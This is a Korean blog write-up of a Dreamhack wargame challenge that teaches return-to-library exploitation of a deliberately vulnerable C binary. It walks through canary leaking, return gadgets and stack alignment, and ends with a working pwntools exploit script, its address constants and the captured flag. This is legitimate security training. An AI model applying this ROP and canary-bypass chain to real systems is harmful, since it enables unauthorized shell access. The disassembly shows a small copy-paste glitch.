반응형

rtl
0.01MB
rtl.c
0.00MB

 

 


문제 실행 시 동작 파악과 보호 기법 확인

 

 

netcat으로 접속해보니 위와 같이 "Buf: " 문자열이 출력되고 사용자에게 입력을 받는다.

 

aaaa를 입력해준후 enter를 누르니 다시 한 번 "Buf: " 문자열이 출력되고 사용자에게 입력을 받는다.

 

위의 사진에서 출력되는 문자열을 보니 첫 번째 입력에서는 Canary 값을 Leak 하라는 것이고

 

두 번째 입력에서는 return address 값을 덮어쓰라는 것이다.

 

 

적용된 보호 기법을 보니 위와 같이 RELRO가 부분적으로 적용되어있고, Canary 보호 기법과 NX bit가 설정되어 있다는 것을 확인할 수 있다.

 

NX bit가 설정되어 있기 때문에 버퍼에 주입한 셸 코드를 실행하기는 어려워졌다.

 

하지만 스택 버퍼 오버 플로우 취약점으로 인해 반환 주소를 덮는 것은 여전히 가능하고, 그렇기 때문에 실행 권한이 남아있는 코드 영역으로 반환 주소를 덮는 공격 기법을 이용한다.

 

프로세스에 실행 권한이 있는 메모리 영역은 보통 바이너리의 코드  영역과 바이너리가 참조하는 라이브러리의 코드 영역이다.

 

이 둘 중 공격자들이 주목한 것은 다양한 함수가 구현된 라이브러리였고, 몇몇 라이브러리에는 공격에 유용한 함수들이 구현되어 있다.

(ex. libc -> system(), execve())

 


소스 코드

 

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt'");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

 

위의 코드는 문제에서 주어지는 코드이다.

 

local에서 gdb로 분석하기 위해 컴파일 할 때는 sysetm("echo 'system@plt'");를 주석 처리 해주고 컴파일 해야 gdb에서 오류가 발생하지 않는다.

 

하지만 분석이 끝나고 나면 문제에서 주어진 rtl 바이너리 파일로 교체해야 한다.

 

그래야 후에 system() 함수의 주소를 알아와 공격할 수 있도록 페이로드를 짤 수 있다.

 

위의 코드에서 주석 처리 된 곳을 보면 PIE를 사용하지 않는 옵션을 주어 컴파일한다.

 

ASLR이 적용되어 있더라도 PIE를 사용하지 않게 설정하면 코드 세그먼트와 데이터 세그먼트의 주소는 고정되므로 "/bin/sh" 과 같이 문자열들의 주소는 고정되어 있는 것이다.

 

buf 배열의 크기는 0x30(48)이다.

 

system() 함수를 한 번 호출 하는데 이는 plt에 추가하기 위함이다.

 

그리고 read() 함수에서 0x100만큼 입력받아 buf에 저장하는데 buf의 크기는 0x30이므로 스택 버퍼 오버플로우가 발생하는 것이다.

 

즉, 0x30을 넘어 0x31만큼 입력한다면 buf의 공간을 넘어 canary 값을 가져올 것이다.

 


system() 함수를 PLT에 추가

 

위의 코드에서 system("echo 'system@plt'");는 PLT에 system 함수를 추가하기 위함이다.

 

PLT와 GOT는 라이브러리 함수의 참조를 위해 사용하는 테이블인데, 이 중 PLT에는 함수의 주소가 resolve 되지 않았을 때, 함수의 주소를 구하고 실행하는 코드가 적혀있다.

 

그렇기 때문에 PLT에 어떤 라이브러리 함수가 등록되어 있다면, 그 함수의 PLT 엔트리를 실행함으로써 함수를 실행할 수 있다.

 

위에서 ASLR이 걸려있어도 PIE가 적용되어 있지 않다면, PLT의 주소는 고정되므로, 무작위의 주소에 매핑되는 라이브러리의 base 주소를 몰라도 이 방법으로 라이브러리 함수를 실행할 수 있는 것이고, 이 기법은 RTP(Return to PLT)라고 한다.

 

라이브러리의 Base 주소를 구해 ASLR을 우회하는 기법도 있지만, 이 문제에서는 PLT를 이용해 NX를 우회한다.

 

참고) ELF의 PLT에는 ELF가 실행하는 라이브러리 함수만 포함된다.

 


카나리 우회

 

총 두 번의 read() 함수 호출이 있는데, 두 호출 모두 스택 버퍼 오버플로우가 발생한다.

 

그렇다면, 첫 번째 입력에서 적절한 길이의 데이터를 입력하면 카나리를 구할 수 있다.

 


rdi 값을 "/bin/sh"의 주소로 설정 및 셸 획득

 

두 번째 입력으로 반환 주소를 덮을 수 있는데, NX로 인해 buf에 셸 코드를 주입하더라도 이를 실행할 수는 없다.

 

이 시점에서 알 수 있는 값은 아래 두 가지다.

- "/bin/sh" 문자열의 주소

- system 함수의 PLT 주소를 알 수 있기 때문에 system 함수를 호출할 수 있다.

 

system("/bin/sh")을 호출하면 셸을 획득할 수 있기 때문에 x86-64 호출 규약에 따라 rdi 레지스터에 "/bin/sh" 문자열의 주소를 넣고 system() 함수를 호출하면 된다.

 

즉, 위에 알고 있는 값을 이용해 "/bin/sh"의 주소를 rdi의 값으로 설정할 수 있으면 system("/bin/sh")를 실행할 수 있다는 것인데, 이를 위해서는 리턴 가젯을 활용해야 한다.

 


리턴 가젯

 

리턴 가젯은 아래와 같이 ret로 끝나는 어셈블리 코드 조각을 말한다.

 

// pop rdi 명령과 ret 명령을 수행하는 주소 400853
0x0000000000400853 : pop rdi ; ret

지금까지는 어떤 함수(ex. get_shell)의 주소나 셸 코드의 주소로 반환 주소를 덮어 한 번에 셸을 획득했었지만

 

이 문제에서는 NX로 인해 셸 코드를 실행할 수 없는 상황에서, 단 한 번의 함수 실행으로 셸을 획득하는 것은 일반적으로 불가능하다.

 

즉, 쉽게 말해 ret 영역만 덮어씌워서 해결될 문제가 아니라면 이 때 사용할 수 있는 것이 바로 리턴 가젯이다.

 

리턴 가젯은 반환 주소를 덮는 공격의 유연성을 높여 익스플로잇에 필요한 조건을 만족할 수 있도록 돕는다.

 

예를 들어 이 문제에서는 rdi의 값을 "/bin/sh"의 주소로 설정하고, system 함수를 호출해야 하는데, 리턴 가젯을 이용해 반환 주소와 버퍼를 아래와 같이 덮으면, pop rdi로 rdi에 "/bin/sh"의 주소로 설정하고, 이어지는 ret로 system 함수를 호출할 수 있다.

(pop rdi; ret -> /bin/sh -> system@plt 순서로 스택에 들어가는데 이는 아래에서 자세히 본다.)

 

addr of ("pop rdi; ret")   <= return address
addr of string "/bin/sh"   <= ret + 0x8
addr of "system" plt       <= ret + 0x10

 

참고로 대부분의 함수는 ret로 종료되기 때문에 함수들도 리턴 가젯으로 사용될 수 있다.


리버싱

0x00000000004011b6 <+0>:	endbr64
0x00000000004011ba <+4>:	push   rbp
0x00000000004011bb <+5>:	mov    rbp,rsp
0x00000000004011be <+8>:	sub    rsp,0x40
0x00000000004011c2 <+12>:	mov    rax,QWORD PTR fs:0x28
0x00000000004011cb <+21>:	mov    QWORD PTR [rbp-0x8],rax
0x00000000004011cf <+25>:	xor    eax,eax
0x00000000004011d1 <+27>:	mov    rax,QWORD PTR [rip+0x2e98]        # 0x404070 <stdin@@GLIBC_2.2.5>
0x00000000004011d8 <+34>:	mov    ecx,0x0
0x00000000004011dd <+39>:	mov    edx,0x2
0x00000000004011e2 <+44>:	mov    esi,0x0
0x00000000004011e7 <+49>:	mov    rdi,rax
0x00000000004011ea <+52>:	call   0x4010c0 <setvbuf@plt>
0x00000000004011ef <+57>:	mov    rax,QWORD PTR [rip+0x2e6a]        # 0x404060 <stdout@@GLIBC_2.2.5>
0x00000000004011f6 <+64>:	mov    ecx,0x0
0x00000000004011fb <+69>:	mov    edx,0x2
0x0000000000401200 <+74>:	mov    esi,0x0
0x0000000000401205 <+79>:	mov    rdi,rax
0x0000000000401208 <+82>:	call   0x4010c0 <setvbuf@plt>
0x000000000040120d <+87>:	mov    edi,0x40200c
0x0000000000401212 <+92>:	call   0x401080 <puts@plt>
0x0000000000401217 <+97>:	mov    edi,0x40201c
0x000000000040121c <+102>:	mov    eax,0x0
0x0000000000401221 <+107>:	call   0x4010a0 <printf@plt>
0x0000000000401226 <+112>:	lea    rax,[rbp-0x40]
0x000000000040122a <+116>:	mov    edx,0x100
0x000000000040122f <+121>:	mov    rsi,rax
0x0000000000401232 <+124>:	mov    edi,0x0
0x0000000000401237 <+129>:	call   0x4010b0 <read@plt>
0x000000000040123c <+134>:	lea    rax,[rbp-0x40]
0x0000000000401240 <+138>:	mov    rsi,rax
0x0000000000401243 <+141>:	mov    edi,0x402022
0x0000000000401248 <+146>:	mov    eax,0x0
0x000000000040124d <+151>:	call   0x4010a0 <printf@plt>
0x0000000000401252 <+156>:	mov    edi,0x40202b
0x0000000000401257 <+161>:	call   0x401080 <puts@plt>
0x000000000040125c <+166>:	mov    edi,0x40201c
0x0000000000401261 <+171>:	mov    eax,0x0
0x0000000000401266 <+176>:	call   0x4010a0 <printf@plt>
0x000000000040126b <+181>:	lea    rax,[rbp-0x40]
0x000000000040126f <+185>:	mov    edx,0x100
0x0000000000401274 <+190>:	mov    rsi,rax
0x0000000000401277 <+193>:	mov    edi,0x0
0x000000000040127c <+198>:	call   0x4010b0 <read@plt>
0x0000000000401281 <+203>:	mov    eax,0x0
0x0000000000401286 <+208>:	mov    rcx,QWORD PTR [rbp-0x8]
0x000000000040128a <+212>:	xor    rcx,QWORD PTR fs:0x28
0x0000000000401293 <+221>:	je     0x40129a <main+228>
0x0000000000401295 <+223>:	call   0x401090 <__stack_chk_fail@plt>
0x000000000040129a <+228>:	leave 0x00000000004011b6 <+0>:	endbr64
0x000000000040129b <+229>:	ret
End of assembler dump.

 

0x00000000004011b6 <+0>:	endbr64
0x00000000004011ba <+4>:	push   rbp
0x00000000004011bb <+5>:	mov    rbp,rsp
0x00000000004011be <+8>:	sub    rsp,0x40

 

함수 프롤로그 작업을 한 뒤 rsp 값에서 0x40만큼 빼 스택 공간을 확보한다.

 

buf 배열의 사이즈는 0x30이고, buf 배열의 사이즈를 넘어서면 canary 값이 담긴 영역인데 64bit 환경이니 8byte이므로 buf + canary는 0x30 + 0x8 = 0x38 일 것이다.

 

그렇다면 왜 0x38을 빼는 것이 아니라 0x40을 뺄까?

 

바로 stack alignment에 의해서 16으로 나누었을 때 나눠 떨어져야 하는데 0x38은 16으로 나누어 떨어지지 않기 때문에 0x8을 더해 16으로 나눠 떨어지겠끔 0x40을 빼는 것이다.

 

0x00000000004011c2 <+12>:	mov    rax,QWORD PTR fs:0x28
0x00000000004011cb <+21>:	mov    QWORD PTR [rbp-0x8],rax
0x00000000004011cf <+25>:	xor    eax,eax

 

canary 값을 설정하고 rbp-0x8 위치에 넣은 뒤 eax 레지스터를 0으로 만든다.

 

0x00000000004011d1 <+27>:	mov    rax,QWORD PTR [rip+0x2e98] # 0x404070 <stdin@@GLIBC_2.2.5>
0x00000000004011d8 <+34>:	mov    ecx,0x0
0x00000000004011dd <+39>:	mov    edx,0x2
0x00000000004011e2 <+44>:	mov    esi,0x0
0x00000000004011e7 <+49>:	mov    rdi,rax
0x00000000004011ea <+52>:	call   0x4010c0 <setvbuf@plt>

 

setvbuf() 함수를 호출한다.

 

0x00000000004011ef <+57>:	mov    rax,QWORD PTR [rip+0x2e6a] # 0x404060 <stdout@@GLIBC_2.2.5>
0x00000000004011f6 <+64>:	mov    ecx,0x0
0x00000000004011fb <+69>:	mov    edx,0x2
0x0000000000401200 <+74>:	mov    esi,0x0
0x0000000000401205 <+79>:	mov    rdi,rax
0x0000000000401208 <+82>:	call   0x4010c0 <setvbuf@plt>

 

다시 한 번 setvbuf 함수를 호출한다.

 

0x000000000040120d <+87>:	mov    edi,0x40200c
0x0000000000401212 <+92>:	call   0x401080 <puts@plt>

 

puts() 함수를 호출하고

 

0x0000000000401217 <+97>:	  mov    edi,0x40201c
0x000000000040121c <+102>:	mov    eax,0x0
0x0000000000401221 <+107>:	call   0x4010a0 <printf@plt>

 

printf()를 호출한 다음

 

0x0000000000401226 <+112>:	lea    rax,[rbp-0x40]
0x000000000040122a <+116>:	mov    edx,0x100
0x000000000040122f <+121>:	mov    rsi,rax
0x0000000000401232 <+124>:	mov    edi,0x0
0x0000000000401237 <+129>:	call   0x4010b0 <read@plt>

 

read() 함수를 호출하는, 사용자에게 입력받은 값을 ebp-0x40 주소에 넣는다.

 

0x000000000040123c <+134>:	lea    rax,[rbp-0x40]
0x0000000000401240 <+138>:	mov    rsi,rax
0x0000000000401243 <+141>:	mov    edi,0x402022
0x0000000000401248 <+146>:	mov    eax,0x0
0x000000000040124d <+151>:	call   0x4010a0 <printf@plt>

 

puts() 함수를 호출하고

 

0x000000000040125c <+166>:	mov    edi,0x40201c
0x0000000000401261 <+171>:	mov    eax,0x0
0x0000000000401266 <+176>:	call   0x4010a0 <printf@plt>

 

printf() 함수를 호출한 다음

 

0x000000000040126b <+181>:	lea    rax,[rbp-0x40]
0x000000000040126f <+185>:	mov    edx,0x100
0x0000000000401274 <+190>:	mov    rsi,rax
0x0000000000401277 <+193>:	mov    edi,0x0
0x000000000040127c <+198>:	call   0x4010b0 <read@plt>

 

다시 한 번 read() 함수를 호출한다.

 

0x0000000000401281 <+203>:	mov    eax,0x0
0x0000000000401286 <+208>:	mov    rcx,QWORD PTR [rbp-0x8]
0x000000000040128a <+212>:	xor    rcx,QWORD PTR fs:0x28
0x0000000000401293 <+221>:	je     0x40129a <main+228>
0x0000000000401295 <+223>:	call   0x401090 <__stack_chk_fail@plt>
0x000000000040129a <+228>:	leave
0x000000000040129b <+229>:	ret

 

canary 값을 검사한 뒤 같으면 종료하고 다르면 __stack_chk_fail 함수를 호출한다.

 

rbp으로부터 offset 영역 크기
     
rbp-0x40 buf 0x30
     
     
rbp-0x10 dummy 0x8
rbp-0x8 canary 0x8
  sfp 0x8
  ret 0x8
  argc 0x8
  argv  
  env  

 

리버싱 한 결과 스택 구성은 위와 같다.

 

 


GDB로 메모리 확인

 

 

실제로 gdb로 분석해본다.

 

스택에 SFP 영역에 이전 함수의 RBP 값을 넣고

 

rbp와 rsp의 값을 같게 한 뒤 rsp의 값에서 0x40만큼 빼 공간을 확보한다.

 

buf 배열의 사이즈는 0x30이고, buf 배열의 사이즈를 넘어서면 canary 값이 담긴 영역인데 64bit 환경이니 8byte이므로 buf + canary는 0x30 + 0x8 = 0x38 일 것이다.

 

하지만 stack alignment에 의해서 16으로 나누었을 때 나눠 떨어져야 하는데 0x38은 16으로 나누어 떨어지지 않기 때문에 0x8을 더해 16으로 나눠 떨어지겠끔 0x40을 빼는 것이다.

 

 

현재 상태에서 rbp 값은 위와 같다.

 

 

0x40만큼 스택 공간을 확보한 뒤 fs:0x28에서 값을 가져와 rax에 저장한다.

 

아직은 카나리 값을 가져와서 레지스터에 저장만 했을 뿐, 스택에는 들어가지 않았다.

 

 

canary 값을 아직 스택에 넣지 않았을 때의 rbp-8 값은 위와 같은데

 

 

rbp-8에 canary 값을 넣고 나면 위와 같다.

 

 

read() 함수 호출 직전인 0x401266 주소에 bp를 걸고 진행하여 read() 함수 호출 바로 직전까지 간다.

 

 

그리고 n을 입력한 뒤 “aaaa”를 입력해준 후 Enter를 입력한다.

 

rbp 값을 다시 확인 후 스택의 값을 보면 위와 같다.

 

빨간색 박스 부분이 rbp 레지스터의 값이고

파란색 박스 부분이 canary 값이다.

그리고 보라색 박스 부분이 buf 영역(0x30) + dummy(0x8) 부분이다.

 

즉, buf 영역 0x30 + dummy 영역 0x8 + 0x1 = 0x39를 해야 canary 값을 읽어올 수 있다는 것이다.

 


리턴 가젯 찾기

 

리턴 가젯을 찾는 방법은 다양하지만 일반적으로 ROPgadget을 사용한다.

 

아래의 명령을 통해 설치할 수 있다.

 

python3 -m pip install ROPgadget --user

 

그리고 아래의 명령을 통해 정상적으로 설치가 됐는지 확인할 수 있다.

 

ROPgadget -v

아래의 명령으로 필요한 가젯을 찾을 수 있는데

 

--re 옵션을 사용하면 정규표현식으로 가젯을 필터링 할 수 있다.

 

일반적으로 바이너리에 포함된 가젯의 수가 매우 많으므로 필터링하여 가젯을 찾는 것을 추천한다.

 

왼편에 16진수로 적힌 주소가 가젯의 주소이다.

 

$ ROPgadget --binary ./rtl --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret

 

그리고 아래의 명령을 통해 ret 가젯을 검색하는데

 

수 많은 ret 가젯이 나오는데 레지스터와 같이 있는 것을 제외하면 0x0000000000400285 주소 하나가 나온다.

 

수 많은 ret 가젯에서 400285 주소를 고른 이유는 사실 아무거나 골라도 되는데 아무래도 이후에 system() 함수로 rip를 이동시킬 때 주의해야 할 점에 관련된 내용에서 나오지만 스택 정렬을 위해 8byte만 추가하여 16으로 맞추기 위해 ret 하나만 있는 주소로 하지 않았나 싶다.

 

일단 400285 주소를 기억해두고 이후 내용에서 이 주소를 어떻게 이용하는지 확인한다.

 

참고) 만약 16byte를 추가해야 한다면 400678, 400853 주소를 쓰면 되는 것 같다.

 

$ ROPgadget --binary ./rtl --re "ret"

 

추가로 아래의 내용을 참고한다.

 

https://c0wb3ll.tistory.com/entry/ret2libc-x64

 

 

여튼 아래와 같이 가젯을 구성하고 실행하면 system(”/bin/sh”)를 실행할 수 있다.

 

addr of ("pop rdi; ret")   <= return address
addr of string "/bin/sh"   <= ret + 0x8
addr of "system" plt       <= ret + 0x10
buf canary sfp ret "/bin/sh" 주소 system@plt 주소
'a' canary 값 'b' 0x400853 ???? ????

 

동작 순서는 아래와 같다.

 

먼저 main() 함수 에필로그에서 ret 명령으로 ret 영역에 있는 값 0x400853 주소로 jmp 한다.

(ret 명령은 비유하자면 pop rip, jmp rip 명령을 수행하는 것과 같은 효과이다.)

 

0x400853 주소에서는 pop rdi와 ret 명령을 수행하는데

pop rdi 명령 수행 시 현재 rsp 가 가리키는 곳은 "/bin/sh" 문자열의 주소가 담긴 8byte 공간이므로 이 공간에서 "/bin/sh" 문자열의 주소를 읽어 rdi에 레지스터에 저장하고

ret 명령을 수행하는데 ret는 pop rip, jmp rip 명령으로 비유할 수 있고, ret 명령 수행 시 pop에 의해 스택에서 8byte 값을 읽어오면 system@plt의 주소일 것이기 때문에

결과적으로 봤을 때 "/bin/sh" 문자열의 주소를 rdi 레지스터에 넣고, system@plt 주소로 점프하여 system() 함수를 실행하는 것이다.

(여기서 이해하지 못하더라도 아래의 exploit 코드를 실행하는 부분에서 이해하면 된다.)

 

이제 위와 같이 구성하기 위해 필요한 것들을 탐색한다.


"/bin/sh" 문자열의 주소 찾기

 

 

pwndbg를 통해 rtl 바이너리 파일을 실행한다.

 

search /bin/sh

 

그리고 위의 명령을 입력하면 찾을 수 있다.

(gdb에서는 find 명령)

 


sysetm 함수의 PLT 주소 찾기

 

- pwndbg 또는 pwntools의 API를 통해 찾을 수 있다.

 

 

pwndbg에서는 위와 같이 찾을 수 있다.

(gdb에서 위와 같이 plt에 system() 함수가 없다면 local에서 컴파일한 바이너리 파일이 아니라 문제에서 제공하는 rtl 바이너리 파일로 교체했는지 확인해야 한다.)

 

pwntools의 API를 이용한 방법은 이후 exploit.py 파일에서 직접 확인한다.

 


가젯으로 구성된 페이로드를 작성하고, 이 페이로드로 반환 주소를 덮으면 셸을 획득할 수 있지만 한 가지 주의할 점은, rip가 system 함수주소로 이동될 때, 스택은 반드시 0x10 단위로 정렬되어 있어야 한다는 것이다.

 

이는 system 함수 내부에 있는 movaps 명령어 때문인데, 이 명령어는 스택이 0x10 단위로 정렬되어 있지 않으면 Segmentation Fault 를 발생시킨다.

 

system 함수를 이용한 익스플로잇을 작성할 때 익스플로잇이 제대로 작성된 것 같은데도 Segmentation Fault가 발생한다면, system 함수의 가젯을 8byte 뒤로 미뤄보는 것이 좋은데, 이를 위해 아무 의미 없는 가젯(no-op gadget)을 system 함수 전에 추가할 수 있다.

 

여기서 생각할 수 있는게 nop인 \x90을 떠올릴 수 있지만, 이는 공격에 성공하지 못한다.

 

아무 의미 없는 가젯을 넣어야 하는데, 여기서 중요한 점은 가젯은 가젯인데 의미 없는 동작을 하는 가젯이어야 한다는 것이다.

 

nop는 가젯이 아니라 그저 다음 명령어가 있는 곳으로 스킵하는 값이다.

 

addr of ("pop rdi; ret")   <= return address
addr of string "/bin/sh"   <= ret + 0x8
addr of "system" plt       <= ret + 0x10

 

그렇기 때문에 원래의 가젯 구성은 위와 같지만

 

addr of ("ret") 
addr of ("pop rdi; ret")   <= return address
addr of string "/bin/sh"   <= ret + 0x8
addr of "system" plt       <= ret + 0x10

 

system 함수는 rip가 이동할 때, 스택이 16 단위로 정렬되어 있어야 하므로 system 함수 전에 아무 의미 없는 가젯을 추가하여 위와 같이 구성한다.

 

위에 새로 들어간 "ret" 가젯의 주소는 이전에 구했던 400285 주소이다.

 

이렇게 추가했을 때 어떻게 동작하는지는 아래의 exploit 코드를 실행할 때 확인한다.

 


exploit 코드

 

아래의 코드를 실행하기 전에 문제에서 주어진 rtl 바이너리를 exploit 파일과 같은 디렉토리에 놓아줘야 한다.

 

from pwn import *

p = remote('host3.dreamhack.games', 13384)
e = ELF('./rtl')

# leak canary
payload = b'a' * 0x39
p.sendafter(b'Buf: ', payload)
p.recvuntil(payload)
crny = hex(u64(b'\x00' + p.recvn(7)))
print("canary : " ,  crny)

# exploit
system_plt = e.plt["system"] # system plt address
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285

payload = b'a' * 0x38 + p64(int(crny, 16)) + b'b' * 0x8 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system_plt)

#pause()
p.sendafter("Buf: ", payload)

p.interactive()

DH{13e0d0ddf0c71c0ac4410687c11e6b00}

 

0x38 0x8 0x8 0x8 0x8 0x8 0x8
buf canary sfp ret pop_rdi binsh system@plt
'a' canary 값 bbbb 400285 400853 400874 address of system@plt

 

위의 exploit 코드가 동작되면, 스택의 구성은 위와 같다.

 

동작 원리는 아래와 같다.

 

main() 함수가 끝날 때 rip에 스택에 있는 ret 영역에 있는 값 400285가 들어가게 되고, 스택에서는 400285 값이 사라지면서 rsp+0x08이 되어 rsp는 pop_rdi 영역을 가리키고 있다.

 

400285 주소는 ret 명령이 있는 주소이기 때문에 400285 주소로 이동되고 나서 바로 ret 명령이 수행된다.

 

말 그대로 바로 ret 명령이 수행되는 것이므로 아무 의미 없는 동작을 하는 것이다.

 

ret 명령은 pop rip, jmp rip 명령으로 비유할 수 있기 때문에 현재 스택의 맨 위를 가리키고 있는 rsp 레지스터에 있는 값(스택 주소)에 해당하는 위치에서 8byte 값을 읽어 400853을 rip에 저장하므로 rip에는 400853 주소가 들어가고 400853 주소로 이동하여 pop rdi, ret 명령을 수행한다.

 

이때 rsp는 rsp+0x08이 되어 "/bin/sh" 문자열의 주소가 있는 곳을 가리키고 있으므로 pop rdi 명령어 수행 시 rdi에 "/bin/sh" 문자열의 주소 400874가 들어가게 되고, ret 명령을 수행하므로써 rip에 system@plt의 주소가 들어가 system() 함수를 실행한다.

 


https://www.hoony.lol/wargame/return_to_library

반응형

'전쟁 > Dreamhack Pwn' 카테고리의 다른 글

[Dreamhack pwn] basic_rop_x64  (0) 2023.01.19
[Dreamhack pwn] rop  (2) 2023.01.14
[Dreamhack pwn] ssp_001  (0) 2023.01.05
[Dreamhack pwn] Return to Shellcode  (0) 2023.01.05
[Dreamhack pwn] basic_exploitation_001  (0) 2022.12.31

+ Recent posts